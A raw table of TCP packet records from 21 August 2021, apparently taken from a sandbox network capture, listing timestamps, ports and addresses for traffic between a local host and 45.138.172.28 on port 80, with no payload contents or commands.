Aug 21, 2021 21:46:32.238842964 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.239253044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.239259005 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271214008 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271264076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271287918 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271311998 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271333933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271357059 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271379948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271403074 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271408081 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271424055 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271433115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271456003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271478891 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271500111 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271521091 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271524906 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271548033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271570921 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271598101 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271624088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271646976 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271647930 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271670103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271694899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271675110 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271718979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271719933 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271737099 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271740913 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271744013 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271744967 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271760941 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271787882 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271815062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271835089 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271836996 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271859884 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271861076 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271883965 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271907091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271930933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271954060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.271966934 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271974087 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271976948 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.271997929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272022963 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272046089 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272053957 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272069931 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272089005 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272093058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272116899 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272141933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272156000 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272166014 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272192955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272217035 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272238970 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272258043 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272263050 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272286892 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272310019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272313118 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272332907 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272345066 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272350073 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272356987 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272382975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272387981 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272408009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272430897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272450924 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272454023 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272475958 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272485971 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272499084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272516966 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272522926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272546053 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272572041 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272579908 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272597075 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272614002 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272619009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272643089 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272665977 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272674084 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272689104 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272706985 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272711992 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272736073 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272762060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272767067 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272784948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272809029 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272809029 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272831917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272851944 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272855997 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272878885 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272902012 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272926092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272950888 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.272953033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.272978067 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273000956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273005009 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273025036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273047924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273072004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273093939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273118019 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273139954 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273144960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273169994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273191929 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273194075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273216009 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273247957 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273251057 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273252964 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273262978 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273287058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273310900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273334980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273355961 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273375034 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273381948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273386002 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273406982 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273407936 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273431063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273453951 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273454905 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273478031 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273499966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273519039 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273523092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273545027 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273545980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273571968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273597956 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.273617983 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.273648024 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.299859047 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.299887896 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.299902916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.299925089 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.299946070 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.299968004 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.299989939 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300004959 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300019979 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300035954 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300051928 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300066948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300081968 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300102949 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300120115 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300124884 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300134897 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300152063 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300167084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300180912 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300195932 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300210953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300223112 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300230026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300235987 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300249100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300266981 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300271034 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300292969 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300297022 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300314903 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300316095 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300337076 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300357103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300357103 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300379038 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300391912 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300403118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300421953 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300431013 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300443888 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300460100 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300476074 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300492048 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300512075 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300520897 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300535917 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300550938 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300555944 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300555944 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300578117 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300578117 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300595999 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300604105 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300616980 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300632954 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300641060 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300647974 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300662994 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300678015 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300683022 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300697088 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300709009 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300714016 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300729036 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300730944 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300744057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300760031 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300770044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300774097 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300789118 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300803900 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300806999 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300822020 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300837994 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300838947 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.300867081 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.300889015 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.314019918 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.316077948 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327454090 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327490091 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327517033 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327533007 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327539921 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327564001 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327604055 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327630043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327656984 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327681065 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327682972 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327708006 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327716112 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327729940 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327744961 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327753067 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327755928 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327775955 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327792883 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327799082 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327804089 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327822924 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327828884 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327850103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327851057 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327873945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327892065 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327897072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327899933 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327919960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327927113 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327950001 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327951908 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.327971935 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.327995062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328010082 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328015089 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328027010 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328052044 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328111887 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328135967 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328159094 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328182936 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328185081 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328206062 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328233004 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328236103 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328263044 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328274012 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328288078 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328310966 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328315973 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328337908 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328340054 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328361988 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328383923 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328391075 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328408003 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328433990 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328448057 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328470945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328495026 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328509092 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328517914 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328531981 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328542948 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328567028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328567028 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328589916 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328613043 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328615904 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328632116 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328659058 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328661919 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328684092 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328690052 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328707933 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328726053 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328731060 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328754902 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328769922 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328778028 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328794003 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328804016 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328828096 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328829050 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328854084 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328854084 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328876972 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328880072 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328902006 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328902960 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328926086 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328927994 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328948975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.328952074 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.328990936 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.342761040 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.353921890 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.353961945 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354089975 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354193926 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354217052 CEST	49738	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:32.354221106 CEST	80	49738	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:32.354234934 CEST	49738	80	192.168.2.7	45.138.172.28
